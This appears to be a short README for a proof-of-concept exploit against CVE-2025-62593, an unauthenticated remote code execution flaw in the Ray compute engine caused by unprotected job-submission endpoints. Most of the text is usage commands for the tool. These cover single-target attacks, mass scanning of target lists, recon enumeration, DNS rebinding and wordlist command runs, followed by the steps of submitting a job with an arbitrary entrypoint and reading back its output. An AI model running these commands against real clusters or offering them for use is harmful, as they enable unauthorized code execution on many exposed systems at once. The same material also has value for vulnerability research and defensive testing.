
CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.
CVE-2025-62593 is an unauthenticated remote code execution vulnerability
in the Ray distributed AI compute engine. The root cause is the absence of
authentication on critical HTTP endpoints (/api/jobs, /api/job_agent/jobs).
An attacker can submit a Ray Job whose entrypoint is an arbitrary command,
executing it on the cluster head node.
# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Mass scan (10 concurrent)
python3 ray_rce_poc.py --targets list.txt --command "id" -o results.json
# Recon mode (quick enumeration)
python3 ray_rce_poc.py --recon --targets list.txt
# DNS rebinding mode
python3 ray_rce_poc.py --dns-rebind --target http://HOST:8265 --rebind-host 10.0.0.1
# Wordlist scan
python3 ray_rce_poc.py --targets list.txt --wordlist commands.txt -o results.csv
/api/jobs/ with entrypoint running target command/api/jobs/ until job reaches terminal state/api/jobs/{id}/logs to recover output